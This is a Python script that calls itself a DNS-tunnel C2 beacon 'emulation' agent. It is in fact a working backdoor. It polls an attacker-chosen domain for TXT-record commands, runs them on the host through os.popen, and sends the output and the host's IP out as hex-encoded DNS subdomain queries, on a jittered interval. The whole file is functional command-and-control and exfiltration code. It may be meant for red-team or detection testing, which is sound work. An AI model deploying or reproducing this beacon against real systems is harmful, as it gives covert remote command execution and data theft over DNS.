import argparse
import sys
import os
import random
import string
import getpass
from hashlib import md5
from binascii import hexlify
import socket
import re
import time
import logging

if sys.version_info[0] == 2:
    import _winreg as winreg
else:
    import winreg

try:
    import dns.resolver
except ImportError:
    print("Missing dependency dnspython: <https://pypi.org/project/dnspython/>. Please install it with `pip install dnspython`.")
    sys.exit(1)


# defines the log format
LOG_FORMAT = "%(asctime)s.%(msecs)03d - %(levelname)s - %(message)s"
DATE_FORMAT = "%m/%d/%Y %H:%M:%S"
logging.basicConfig(filename='my.log', level=logging.DEBUG, format=LOG_FORMAT, datefmt=DATE_FORMAT)


def command_executor(cmd):
    # redirect stderr to stdout
    with os.popen(cmd + " 2>&1") as r:
        output = r.read()
    if not output:
        output = "None"
    return output



# c2 domain is 0.{random string of 16 digits}.t.{ip with dots replaced by dashes}.base_domain
def command_getter_domain_builder(base_domain):
    domain = "0."
    domain += (''.join(random.choice(string.digits) for i in range(16))+".")
    domain += "t."
    domain += (get_ip().replace(".","-")+".")
    domain += base_domain
    return domain


# c2 domain is {string of hexadecimal bytes for sent data}.{random string of 16 digits}.o.{ip with dots replaced by dashes}.base_domain
def output_uploader_domain_builder(base_domain,content):
    domain = (hexlify(content.encode()).decode()+".")
    domain += (''.join(random.choice(string.digits) for i in range(16)))+"."
    domain += "o."
    domain += (get_ip().replace(".","-")+".")
    domain += base_domain
    return domain


def dns_query_sender(domain,record):
    logging.info("sending dns requry of {domain} on type {record} ".format(domain=domain,record=record))
    request = my_resolver.query(domain, record)
    logging.info("receiving dns response of {domain} on type {record}, {value}".format(domain=domain,record=record,value=str(request.response.answer[0][-1])))
    return request


def txt_record_retriever(base_domain):
    # randomize the domain for every dns query
    domain = command_getter_domain_builder(base_domain)
    try:
        request = dns_query_sender(domain,"TXT")
        # trim the first and the last double quote
        return str(request.response.answer[0][-1])[1:-1]
    except:
        return ""


def command_retriever(domain):
    command = txt_record_retriever(domain)
    return command


def output_uploader(domain, content):
    for i in range(0,len(content), exfil_max):
        data = content[i:i+exfil_max]
        tmp_domain = output_uploader_domain_builder(domain,data)
        if verbose != 0:
            print(tmp_domain)
        dns_query_sender(tmp_domain,"TXT")


def is_valid_ip(ip):
    if re.match(r'^((\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])$', ip):  
        return True
    else:
        return False


# retrive "primary" IP on the local box (the one with a default route).
# by fatal_error, https://stackoverflow.com/questions/166506/finding-local-ip-addresses-using-pythons-stdlib
def get_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # doesn't even have to be reachable, UDP is stateless
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except Exception:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Alma dns tunnel C2 beacon emulation agent")
    parser.add_argument("-domain", help = "the domain to send data to", required=True)
    parser.add_argument("-dns", help = "specific dns server ip(IPv4)", required=False)
    parser.add_argument("-i", help="the interval time in seconds of the Alma Beaconing agent connecting to the c2 server, default to be 60 seconds", required=False, type=int, default=60)
    parser.add_argument("-j", help="the jitter value(between 0 and 1) of the Alma Beaconing agent, to add randomization to the interval, default to be 0", required=False, type=float, default=0)
    parser.add_argument("-exfil_max", help="the max number of bytes of data being uploaded, default to be 31, which is also the maximum", required=False, type=int, default=31)
    parser.add_argument("-v", type=int, default=0, help = "verbose level, default to be 0", required=False)
    args = parser.parse_args()

    interval = args.i
    jitter = args.j
    if jitter > 1 or jitter < 0:
        jitter = random.uniform(0,1)

    global my_resolver
    global verbose
    global exfil_max

    if args.exfil_max < 1 or args.exfil_max > 31:
        exfil_max = 31
    else:
        exfil_max = args.exfil_max

    # initialize the dns_resolver and the ip is valid
    # if user has specify the dns server to use
    if args.dns and is_valid_ip(args.dns):
        my_resolver = dns.resolver.Resolver(configure=False)
        my_resolver.nameservers = [args.dns]
    # otherwise, use the default dns server
    else:
        my_resolver = dns.resolver.Resolver()
    
    verbose = args.v

    while True:
        print("retrieving command from c2")
        # get the command from c2
        command = command_retriever(args.domain)

        if command:
            print("executing command: {command}".format(command=command))
            # execute the command and save the output to upload folder
            output = command_executor(command)

            print("uploading output to c2")
            # upload the output to c2
            output_uploader(args.domain, output)

        tosleep = random.uniform(interval*(1-jitter), interval*(1+jitter))
        time.sleep(tosleep)